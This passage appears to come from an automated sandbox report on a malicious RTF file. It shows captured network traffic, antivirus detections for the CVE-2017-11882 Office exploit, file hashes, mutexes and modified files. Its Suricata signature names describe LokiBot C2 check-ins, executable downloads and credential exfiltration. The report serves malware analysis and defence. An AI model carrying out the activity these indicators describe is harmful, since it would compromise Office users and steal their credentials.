  756. "http_request": "winword.exe_WSASend_h3\\xec\\x12x\\xfd\\xec\\x12\\xb6\\x01\\x0e\\x87c\\xd3\\xcf\\x83x\\x1f\\xc6\\xdd\\x8d\\x08c\\xac\\x92\\x9cs\\x97\\x9c\\xeay\\x89\\x06\\xaf\\xc6~%\\x08\\xdf\\x0f\\xfd\\x94g!\\xe9\\xdfpjn\\xe1\\x10p\\xf3\\x16\\xc3e _\\xff\\xc6\\xf52n>\\x91'\\x13@\\xce\\x02\\x04\\!\\x82\\xe1\\xcee\\x8a\\xe1\\x1dq\\x0e#\\xa9(\\xd0\\xb7\\xc3\\x18c\\x14\\xac6a\\x90\\x1d\\xd8\\x90\\xfb\\xab\\xb3\\x82\\x06w\\x91\\xc1\\xc6d\\xc3'?,\\x85\\xe10\\xaf\\xcd\\x12\\xdev\\x80\\xb7\\xda\\x85\\xe7\\xb1\\xa2\\x96\\x95e\\x01y\\xa2\\x8c\\xcd\\x08\\xaf \\x17\\xdc\\xeb\\x0e\\xab\\xa4\\x14\\xa2\\xcef>\\xb5\\x99d\\xec\\xda\\xf8\\xb4\\xde\rz\\xc1\\x12\\xfaa\\xfcv\\x0bu\\xede\\x03\\xaa\\x1b\\xb3n\\xa7\\xef\\xdfr\\xb4r\\xc9a\\x88\\xf6\\x08\\xcdl\\xa8\\x08\\x01c\\x82\\x912\\xa0c\\xc1\\xed\\x81\\xe3\\xafm7\\x83\\x1d\\xdb\\xf5z\\xda\\xd0\\xf2\\xa0\\xc8\\xc6\\x95c\\xb4\\xd0\\xf9\t\\xbe\\xf3\\xcb\\xe6v\\x94-=\\xb1y\\xda\\xf7\\xd5\\x97,\\x0co\\x05\\xe01\\xbc\\xc5p\\xe5\\xcc\\xd4z\\x9dm\\xc7\\x12 \\x0b"
  757.  
  758.  
  759. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x98\\xcda\\x88\\x84\\xc4&\\x0c\\x98\\xce\\xf4#\\x08\\x86\\xd8\\xb20\\x96;br\\xd8\\xb1\\xedl\\x17(\\x9d\\xa3\\x8ev\\xd0\\x81<\\x0e\\xb8\\xd3s\\xc9\\xcf\\xc6\\x02\\xa10\\x84\\xa4\\xcaf\\x81\\x0bh\\xc1\\xa8;b\\x1e\\xa0\\x93\\xb2\\x17:\\x9a\\xf9\\xd6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa7,v\\xa1v\\xa1i:'\\xc2\\xc1k\\xb5\\xa5\\xf6\\x7f\\xdd\\xb0\\xe0\\xd9\\x0f\t\\xbei\\xf0'wl\\xf8x\\xfd\\xd3\\xfd\\x86\\xde&\\x9a>\\x92lku\\x9b\t\\xf6\\xc9"
  760.  
  761.  
  762. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010/s\\xb5\\xc9\\xfc\\xaa\\x92l\\xd72\\xa00\\xee\\xdd\\x13\\xbf\\x1f\\xf1\\x8b\\xb9*$0\\xc31\\xdc\\x07\\x02m\\x1b\\xf3\\xe7\\xf0\\xb4\\xbc\\xd3|\\xc4\\x84\r\\x80\\x00\\xbf\\x18\\xd9\\x1d\\xa2\tooc\\xe7-r\\xe7\\x82h\\xfaf\\xf4)\\xd4\\x0c\\x98\\xf5q\\xa1\\x9ep\\xcasn\\x1ecs\\xcf\\xc1+s\\xe7\\x0c \\xff\\xa2\\x9f7\\xc6\\xe1\\xea\\xce\\xb4f\\xefo\\xe2\\xd3yif\\xa8\\xfbkbpo\\xfc\\x9a\\\\x11b)\\xbb\\x9c\\xb4g\\x97k\\x12\\x0e\\xe31\\xef.\\xb7\\xb3f|\\xadg\\xde\\xf7\"\\x08\\xac\\x9cj\\xdc\\x8b\\x03<\\xae\\x9d\\xd6l\\xc7\\xee.\\x9f\\xbc6\\xf2`\\xde\\x02\\x8cha7\\x06\\xa3\\xb1\\xab\\x0ftg\\x94l\\x96?\\x8b\\xfd\\x1aw\\x13\\x0eku\\xed\\x1d\\x01\\x849 \\xf9\\xd3\\x86\\x05\\xe0z\\xf05\\x01\\xd9\\xe6\\xbd\\xd9el\\xb3\\xe1>>7z9\"\\x90\\xb1\\x08\\x91mpx\\xfe\\xd7\\xc8\\xe9\\x0b&\\xc8\\x90pk\\xee*\\xa6.v\\x19\\xfa^\\xb2iu\\x1as8\\x88@\\xea\\x81\\xdb\\xbc"
  763.  
  764.  
  765. "http_request": "winword.exe_WSASend_get /pki/crl/products/microsoftrootcert.crl http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: thu, 07 mar 2019 06:00:16 gmt\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: crl.microsoft.com\r\n\r\n"
  766.  
  767.  
  768. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x7f\\x01\\x00\\x00\\x03\\x015\\xcd\\xd5\\xf2sx\\xad\\x93qa\\xf5k\\xcax\\x07\\xb9\\xff\\x96\\x13\\x11s=1i2p\\x83\\x8d3\\x99\\xca\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00:\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00!\\x00\\x1f\\x00\\x00\\x1cactivation.sls.microsoft.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  769.  
  770.  
  771. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x01\\x06\\x10\\x00\\x01\\x02\\x01\\x00^\\x8d\\xc0\\x84\\xff`k\\x88\\xbe\\xe1\\x978\\xf9srpv\\x88\\xf9~t\\xfa\\xd4k\\x02\\xd3\\xf5p\\xa8\\xc5\\xed\\x91\\xb0\\x0b\\xe9\\xd0\\xc77\\xf7\\x82\\xe3\\x82\\xcb\\x1e!h\\x7f\\x9fm\\x19\\x9b\\x91:\\xddm\\xb9j3\\xb1\\xb4\\x8fw)\\x8d\\x16$\\x83\\xd0n\\xd3\\xe0\\xd0\\x9al\\x85\\xc2v\\x9c\\x03\\x9f\\xfb\\x15\\x7f\\x9e\\xce\\xf8s\\xb6giw\\xbe\\x88kc\\xf7\\xfb\\xd2/\\xdd\\xedi\\x95\\x8ebk\\x08\\xddth4\\xc3\\xecm\\x0e\\xf5\\x1b#\\xb1\\xbd\\xdd\\x13\to\\x8e\\x1bw\\x01ulr\\x9f\\xe0w\\xc0t\\xb4\\x96\\xbe\\x075\\x01\\x89\\x81\\xbb\\xdek\\xb6\\x15k2\\xcf\\xban\\xaf\\x97\\xb3\\x91\\xff\\xa5r\\xf6\\x8e\\xcd\\xc4\\x0fn\\x8a(\\xcb%\\xd09u\\xca\\xf950\\x94\\\\x8c\\x83`5\\xa7\\xd6\\xcc@`?go\\xc5n\\x1a3<\\x1d\\x96 \\xe7\\xeeu\\x13\\xf8\\x13\\x13\\xe8\\x1a\\xb3mgf\\xb1i|\\x8a\\x8d3\\xb6\\xa8\\xbf\\x0b\\x07\\xe1\\xd1\\xc1@\\xa9\\x1a.\\x8fy\\x14o\\xa0\\xc9/\\xefw"
  772.  
  773.  
  774. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01`=\\x05c\\x02\\xafw/\\xc9d;\\x13\\xe5\\x0b)ip\\xed\\x85\\xc7\\xc6\\xe1t|\\xa9\\xc6a$z\\xc2\\xf3x\\xb4h\\xa2\\xe6k\\xd1w:g\\xa1b.\\x15/&\\xa3g\\x8b\\x90\\xff9;&\\x94\\x0fp\\x81m\\x95u\\xac4d\\xd3'\\xc0\\x10\\x9f\\xd6s\\xcc\\xf1\\x18\t\\x8bj^\\x9c\\x01ro7*\\xae\\xfe\\xe1\\xd7\\x92\\xf4n\\xeakz\\xcf\\xc5r^\\xab\\x96d\\x8d?\\x1d\\x15u,\\xbb,\\x15k-\\x92\\xb2\\x9d\\x8d\\xf9\\xb9\\xb6\\x1e\\xb9$\\xde\\x90bm\\xeb\\xb9\\xb8\\x8fq&\n\\xd7\\x8fm\\x02:\\x96g\\xde\\xf5\\x9cgi&\\xd6\\xac\\xdb\\xf7t\\x19s\\xbb\\xcc\\xb4\\x8c\\xf0j\\x19\\xaa\\xbc#\\x14ig\\xa7\\xdcy\"5g3\\xe8$\\xb6$\\x18g\\x18\\x9b\\xcal\\xbd\\x8f\\xa5\\xd6xhv\\xf0\\xd4\\x83\\xabb\\xd7pl1\\xdcj<cyyu\\xd5\\x13c\\xa2\\xa7a\\x82g\\x96\\x1a\\xa1f6.\\xbf\\x13\\xa2d\\xf7\\x8e.0\\xf8j\\x9b\\x17\\xeb\\x1fm\\xa4\\xda:\\xdc)3\\xb3\\xa8\\xe2r\\xef8\""
  775.  
  776.  
  777. "http_request": "winword.exe_WSASend_\\x17\\x03\\x019p\n\\xef\\xfaw\\x13\\xb3\\xce\\xd3\\xa7\\xa2mh\\x8c\\xe3\\xa3\\x98\\x8f\\x88\\x83\\xd5w\\xa2@\\x80 \\xb1)o0\\xd5\\xdf.\\xaa`t>\\xbe\\xa5g\\xac^\\xae7\\x94\\xb3\\xa6\\xe9\\xf3\t\\xd8\\x99\\x80\\xef\\xf2fq\\x8d\\x9a\\x17\\x93\\xae \\x88a\\xe7\\xf2\\xee\\xfd\\xfa,x\\x864\\xf5\\xf8\\xc3t\\xaf\\xd2\\x05\\xed\\xc0+\\xbe\\x90v%|\rqz\\xaco\\xde\\xa9\\xdc\\x0cqs\\xc0\\x7f@\\xce;0\\xac7\\xb2\\x87\\x03\\x99\\x10\\xc7*#\\xf6\\xc94\\xdb\\x82ev\\x9d\\x02\n\\\\xb8?\\xffo\\x18:\\xa6\\xfa\\xdc\\x05j\\xd5\\x9b\\xf5f\\xb1\\xbb\\xcf\\xf9\\xce\\xbe\\xac\\x8c\\xfe\\x1a\\xf1\\xc0\\x08\\xf4+\\x1e\\x9cq>\\xbb\\xd7\\xfe\\x84\\xcafbs\\xc7wk\\x88\\xcc)k\\x815u\\xb5*%\\xa0\\x8e\\xed\\xfd\\x7f\\xa4o\\xe1\\x05\\xcb\\xa5\\x88\\xc9\t%\\x92\\xd2\\xae\\xcd\\xfe\\x15\\xda\\xca\\xec\\xa5\\xb2\\xcf\\xd0f\\xfc\\xfa\\x886?u\\xd1\\xad9\\xfa\\x07\\xbd@d2p\\xd5\\x97ii\\x14\\xb5\\xb69\\xf21:\\xc3o\\xac\\x90k\\xad\\xd8\\x1b5l"
  778.  
  779.  
  780.  
  781.  
  782. "Description": "File has been identified by 32 Antiviruses on VirusTotal as malicious",
  783. "Details":
  784.  
  785. "MicroWorld-eScan": "Exploit.CVE-2017-11882.Gen"
  786.  
  787.  
  788. "McAfee": "Exploit-CVE2017-11882.yx"
  789.  
  790.  
  791. "Arcabit": "Exploit.CVE-2017-11882.Gen"
  792.  
  793.  
  794. "Symantec": "Exp.CVE-2017-11882!g3"
  795.  
  796.  
  797. "ESET-NOD32": "probably a variant of Win32/Exploit.CVE-2017-11882.A"
  798.  
  799.  
  800. "Avast": "Win32:ShellCode Expl"
  801.  
  802.  
  803. "ClamAV": "Doc.Exploit.CVE_2017_11882-6934206-0"
  804.  
  805.  
  806. "Kaspersky": "HEUR:Exploit.MSOffice.Generic"
  807.  
  808.  
  809. "BitDefender": "Exploit.CVE-2017-11882.Gen"
  810.  
  811.  
  812. "Ad-Aware": "Exploit.CVE-2017-11882.Gen"
  813.  
  814.  
  815. "Emsisoft": "Exploit.CVE-2017-11882.Gen (B)"
  816.  
  817.  
  818. "F-Secure": "Exploit:W97M/CVE-2017-0199.B"
  819.  
  820.  
  821. "DrWeb": "Exploit.ShellCode.69"
  822.  
  823.  
  824. "McAfee-GW-Edition": "Exploit-CVE2017-11882.yx"
  825.  
  826.  
  827. "FireEye": "Exploit.CVE-2017-11882.Gen"
  828.  
  829.  
  830. "Sophos": "Troj/RtfExp-EQ"
  831.  
  832.  
  833. "Cyren": "CVE-2017-11882.C.gen!Camelot"
  834.  
  835.  
  836. "Avira": "EXP/CVE-2017-11882.Gen"
  837.  
  838.  
  839. "MAX": "malware (ai score=89)"
  840.  
  841.  
  842. "Antiy-AVL": "TrojanExploit/OLE.CVE-2017-11882"
  843.  
  844.  
  845. "Microsoft": "Exploit:O97M/CVE-2017-11882.L"
  846.  
  847.  
  848. "ZoneAlarm": "HEUR:Exploit.MSOffice.Generic"
  849.  
  850.  
  851. "GData": "Exploit.CVE-2017-11882.Gen (2x)"
  852.  
  853.  
  854. "AhnLab-V3": "OLE/Cve-2017-11882.Gen"
  855.  
  856.  
  857. "ALYac": "Exploit.CVE-2017-11882.Gen"
  858.  
  859.  
  860. "TACHYON": "Trojan-Exploit/RTF.CVE-2017-11882"
  861.  
  862.  
  863. "Zoner": "Probably W97NativeOnly"
  864.  
  865.  
  866. "Rising": "Exploit.CVE-2017-11882!1.B40D (CLASSIC)"
  867.  
  868.  
  869. "Ikarus": "Exploit.CVE-2017-11882"
  870.  
  871.  
  872. "Fortinet": "MSOffice/CVE_2017_11882.A!exploit"
  873.  
  874.  
  875. "AVG": "Win32:ShellCode Expl"
  876.  
  877.  
  878. "Qihoo-360": "virus.exp.21711882.d"
  879.  
  880.  
  881.  
  882.  
  883. "Description": "Clamav Hits in Target/Dropped/SuriExtracted",
  884. "Details":
  885.  
  886. "target": "clamav:Doc.Exploit.CVE_2017_11882-6934206-0, sha256:13ae3b5277810f85abf33cd63b7a672624625f656a988d32aede54092dfbd6a7, type:Rich Text Format data, version 1, unknown character set"
  887.  
  888.  
  889. "dropped": "clamav:Doc.Exploit.CVE_2017_11882-6934206-0, sha256:13ae3b5277810f85abf33cd63b7a672624625f656a988d32aede54092dfbd6a7 , guest_paths:C:\\Users\\user\\AppData\\Local\\Temp\\Docs_912241f9985aac45bbd1cec28ac2e334.doc, type:Rich Text Format data, version 1, unknown character set"
  890.  
  891.  
  892.  
  893.  
  894. "Description": "Created network traffic indicative of malicious activity",
  895. "Details":
  896.  
  897. "signature": "ET TROJAN LokiBot User-Agent (Charon/Inferno)"
  898.  
  899.  
  900. "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M1"
  901.  
  902.  
  903. "signature": "ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile"
  904.  
  905.  
  906. "signature": "ET TROJAN LokiBot Request for C2 Commands Detected M2"
  907.  
  908.  
  909. "signature": "ET TROJAN LokiBot Checkin"
  910.  
  911.  
  912. "signature": "ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious"
  913.  
  914.  
  915. "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1"
  916.  
  917.  
  918. "signature": "ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2"
  919.  
  920.  
  921.  
  922.  
  923.  
  924. * Started Service:
  925. "osppsvc"
  926.  
  927.  
  928. * Mutexes:
  929. "Local\\2BF388D5-6F8C-40A0-A7EE-996D005C4E14_Office15",
  930. "Global\\MTX_MSO_Formal1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  931. "Global\\MTX_MSO_AdHoc1_S-1-5-21-0000000000-0000000000-0000000000-1000",
  932. "5CAC3FAB-87F0-4750-984D-D50144543427-VER15",
  933. "CicLoadWinStaWinSta0",
  934. "Local\\MSCTF.CtfMonitorInstMutexDefault1",
  935. "Global\\552FFA80-3393-423d-8671-7BA046BB5906",
  936. "Global\\MsoShellExtRegAccess_S-1-5-21-0000000000-0000000000-0000000000-1000",
  937. "Local\\F99C425F-9135-43ed-BD7D-396DE488DC53"
  938.  
  939.  
  940. * Modified Files:
  941. "C:\\Users\\user\\AppData\\Local\\Temp\\Docs_912241f9985aac45bbd1cec28ac2e334.doc",
  942. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_912241f9985aac45bbd1cec28ac2e334.doc",
  943. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF0CFE58FE-B6C0-4198-8E30-295CDDB19A38.tmp",
  944. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Office\\15.0\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=10",
  945. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSB1E82E10-1CEA-4E33-9DD5-A004B7BB1F9A.tmp",
  946. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  947. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\6BADA8974A10C4BD62CC921D13E43B18_88614FFAD35D353421B8A7E1FE18FCE4",
  948. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  949. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\37D958F0157C4E87D39A5E7FAB3AECCC_090773D7F9DBE1D85BCB60985361F32E",
  950. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB2D2.tmp",
  951. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB2D3.tmp",
  952. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\UProof\\CUSTOM.DIC",
  953. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBDE1.tmp",
  954. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBE30.tmp",
  955. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBFB7.tmp",
  956. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBFB8.tmp",
  957. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBFD9.tmp",
  958. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC122.tmp",
  959. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC1DE.tmp",
  960. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC21E.tmp",
  961. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC23E.tmp",
  962. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC397.tmp",
  963. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC3A7.tmp",
  964. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC493.tmp",
  965. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC57E.tmp",
  966. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC61B.tmp",
  967. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC68A.tmp",
  968. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC746.tmp",
  969. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC7C4.tmp",
  970. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC7D5.tmp",
  971. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD",
  972. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\696F3DE637E6DE85B458996D49D759AD",
  973. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC853.tmp",
  974. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC854.tmp",
  975. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC893.tmp",
  976. "C:\\Users\\user\\AppData\\Local\\Temp\\CabC8F2.tmp",
  977. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC8F4.tmp",
  978. "C:\\Users\\user\\AppData\\Local\\Temp\\CabC914.tmp",
  979. "C:\\Users\\user\\AppData\\Local\\Temp\\TarC8F3.tmp",
  980. "C:\\Users\\user\\AppData\\Local\\Temp\\CabC926.tmp",
  981. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC938.tmp",
  982. "C:\\Users\\user\\AppData\\Local\\Temp\\TarC915.tmp",
  983. "C:\\Users\\user\\AppData\\Local\\Temp\\TarC927.tmp",
  984. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76",
  985. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4E.tmp\\iso690.xsl",
  986. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4C.tmp\\pictureorgchart.glox",
  987. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4D.tmp\\rings.glox",
  988. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB5E.tmp\\TabbedArc.glox",
  989. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4E.tmp\\Content.inf",
  990. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4C.tmp\\Content.inf",
  991. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB4D.tmp\\Content.inf",
  992. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCBEC.tmp\\architecture.glox",
  993. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
  994. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
  995. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  996. "C:\\Users\\user\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7396C420A8E1BC1DA97F1AF0D10BAD21",
  997. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328935fn=Picture Organization Chart.glox",
  998. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCBEC.tmp\\Content.inf",
  999. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCB5E.tmp\\Content.inf",
  1000. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCE20.tmp",
  1001. "C:\\Users\\user\\AppData\\Local\\Temp\\cabCE4F.tmp",
  1002. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
  1003. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
  1004. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD0F1.tmp",
  1005. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD102.tmp",
  1006. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD152.tmp",
  1007. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD0F0.tmp\\turabian.xsl",
  1008. "C:\\Users\\user\\AppData\\Local\\Temp\\CabD291.tmp",
  1009. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD0F0.tmp\\Content.inf",
  1010. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD132.tmp\\InterconnectedBlockProcess.glox",
  1011. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD163.tmp\\sist02.xsl",
  1012. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD164.tmp\\ThemePictureGrid.glox",
  1013. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD184.tmp\\gosttitle.xsl",
  1014. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD1C4.tmp\\content.inf",
  1015. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD132.tmp\\Content.inf",
  1016. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD164.tmp\\Content.inf",
  1017. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD185.tmp\\Banded.thmx",
  1018. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD2B2.tmp\\Basis.thmx",
  1019. "C:\\Users\\user\\AppData\\Local\\Temp\\TarD292.tmp",
  1020. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD1C4.tmp\\Dividend.thmx",
  1021. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD163.tmp\\Content.inf",
  1022. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226fn=turabian.xsl",
  1023. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD184.tmp\\Content.inf",
  1024. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD2B2.tmp\\content.inf",
  1025. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328986fn=Theme Picture Grid.glox",
  1026. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
  1027. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD185.tmp\\content.inf",
  1028. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851220fn=gosttitle.xsl",
  1029. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090430fn=Banded.thmx",
  1030. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
  1031. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
  1032. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD727.tmp",
  1033. "C:\\Users\\user\\AppData\\Local\\Temp\\CabD777.tmp",
  1034. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457464fn=Dividend.thmx",
  1035. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD815.tmp",
  1036. "C:\\Users\\user\\AppData\\Local\\Temp\\TarD778.tmp",
  1037. "C:\\Users\\user\\AppData\\Local\\Temp\\cabD99D.tmp",
  1038. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD93F.tmp\\content.inf",
  1039. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD93F.tmp\\Wood_Type.thmx",
  1040. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC9.tmp\\ConvergingText.glox",
  1041. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC8.tmp\\content.inf",
  1042. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC7.tmp\\Circuit.thmx",
  1043. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC9.tmp\\Content.inf",
  1044. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDCDF.tmp",
  1045. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434fn=Wood Type.thmx",
  1046. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDD0E.tmp",
  1047. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC7.tmp\\content.inf",
  1048. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDAC8.tmp\\Droplet.thmx",
  1049. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC32.tmp\\content.inf",
  1050. "C:\\Users\\user\\AppData\\Local\\Temp\\cabDFFE.tmp",
  1051. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE08C.tmp",
  1052. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916fn=Converging Text.glox",
  1053. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDD2F.tmp\\RadialPictureList.glox",
  1054. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDD2F.tmp\\Content.inf",
  1055. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDDC32.tmp\\View.thmx",
  1056. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328940fn=Radial Picture List.glox",
  1057. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457515fn=View.thmx",
  1058. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE2EF.tmp",
  1059. "C:\\Users\\user\\AppData\\Local\\Temp\\cabE34E.tmp",
  1060. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE243.tmp\\content.inf",
  1061. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919fn=Circuit.thmx",
  1062. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
  1063. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE38E.tmp\\Feathered.thmx",
  1064. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE243.tmp\\Parallax.thmx",
  1065. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDE38E.tmp\\Content.inf",
  1066. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
